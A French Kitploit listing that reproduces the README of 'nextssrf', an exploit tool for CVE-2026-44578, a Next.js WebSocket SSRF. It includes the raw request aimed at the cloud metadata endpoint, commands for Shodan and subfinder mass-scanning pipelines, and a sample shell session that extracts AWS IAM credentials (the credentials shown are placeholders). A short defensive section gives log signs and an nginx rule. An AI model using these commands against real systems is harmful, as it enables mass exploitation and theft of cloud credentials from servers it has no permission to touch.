Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
nextssrf — Outil de scan et d'exploitation de la CVE-2026-44578 pour SSRF dans le gestionnaire de mise à niveau WebSocket de Next.js. Détecte les versions vulnérables, extrait les métadonnées cloud et exfiltre les identifiants IAM via un shell interactif. | Kitploit
Outils/GitHubGitHub/ynsmroztas/nextssrf
ReconnaissanceScanners de VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsSécurité Cloud
GitHubynsmroztas/nextssrf

nextssrf

Outil de scan et d'exploitation de la CVE-2026-44578 pour SSRF dans le gestionnaire de mise à niveau WebSocket de Next.js. Détecte les versions vulnérables, extrait les métadonnées cloud et exfiltre les identifiants IAM via un shell interactif.

Voir le dépôt
762020il y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 Scanner & Exploit          ║
║   Next.js WebSocket Upgrade Handler SSRF                     ║
║   Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4              ║
║         @mitsec / ynsmroztas — Bug Bounty Tooling            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Server-Side Request Forgery via le gestionnaire de mise à niveau WebSocket de Next.js

Aperçu · Installation · Utilisation · Exemples de pipeline · Shodan · Shell interactif · Avertissement


Aperçu

Le 11 mai 2026, Vercel a corrigé CVE-2026-44578 (CVSS 8.6) : une SSRF non authentifiée dans le gestionnaire de mise à niveau WebSocket de Next.js affectant tous les déploiements auto-hébergés à partir de la version 13.4.13.

Mécanisme

GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

Le // dans http:// déclenche la sortie anticipée de normalizeRepeatedSlashes, définissant statusCode: 308 et finished: true. Le gestionnaire de mise à niveau vulnérable ignore ces deux indicateurs et appelle proxyRequest lorsque parsedUrl.protocol est truthy — en proxyant la requête vers l'hôte contrôlé par l'attaquant sur le port 80.

// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

Versions affectées

ProduitVulnérableCorrigé
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Hébergé sur Vercel✅ Non affectéN/A

Limitations

  • GET uniquement (pas de POST/PUT)
  • Port 80 uniquement (les ports explicites sont supprimés par la normalisation des URL)
  • AWS IMDSv2 non exploitable (nécessite un jeton PUT)
  • Les métadonnées GCP rejettent Upgrade: websocket avec un code 400
  • Les reverse proxies (nginx/caddy/HAProxy) bloquent les URI de forme absolue

Démo

NextSSRF — Identifiants AWS exfiltrés

Identifiants AWS IMDSv1 exfiltrés via CVE-2026-44578 — shell d'exploitation interactif


Installation

git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

Zéro dépendance — uniquement la bibliothèque standard de Python. Python 3.10+ requis.


Utilisation

Analyse d'une cible unique

python3 nextssrf.py -t https://target.com

Ciblage spécifique au cloud

# AWS metadata only
python3 nextssrf.py -t https://target.com --cloud aws

# Custom internal target
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# Deep scan (+ internal services)
python3 nextssrf.py -t https://target.com --cloud aws --deep

Analyse massive (Pipeline)

# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# File input
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# Force scan (even if version unknown)
python3 nextssrf.py -t https://target.com --force

Codes de sortie

CodeSignification
0Non vulnérable / propre
1Vulnérable (sans exploitation)
2SSRF confirmée

Shell interactif

Shell d'exploitation avancé avec détection automatique du cloud et extraction des identifiants IAM :

python3 nextssrf.py -t https://target.com
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

Commandes du shell

CommandeDescription
cloudDétection automatique du cloud (AWS/Azure/GCP/DO/OCI)
awsChaîne complète d'identifiants AWS IAM
azureJeton d'identité managée Azure
scanDétection cloud + exploitation automatique
url <http://>Requête SSRF personnalisée
get <N>Cible IMDS AWS par index
listAfficher tous les endpoints IMDS
historyHistorique des requêtes
saveExporter la session en JSON
quitQuitter

Mode automatique

# Detect cloud + run full exploit chain automatically
python3 nextssrf.py -t https://target.com --auto

Exemples de pipeline

# Full recon → exploit pipeline
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Shodan mass scan → interactive on confirmed hosts
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# Check specific version range
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

Détection (Blue Team)

Signes d'exploitation dans les journaux :

# Next.js process logs
Failed to proxy http:/   ← single slash = normalization fingerprint

# Access logs (absolute-form URI + Upgrade header)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

Atténuation (si vous ne pouvez pas patcher)

# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
    return 400;
}

Références

  • GHSA-c4j6-fc7j-m34r
  • NVD CVE-2026-44578
  • Publication de sécurité Next.js — mai 2026
  • Analyse technique de Hadrian

Avertissement

Télécharger l’outil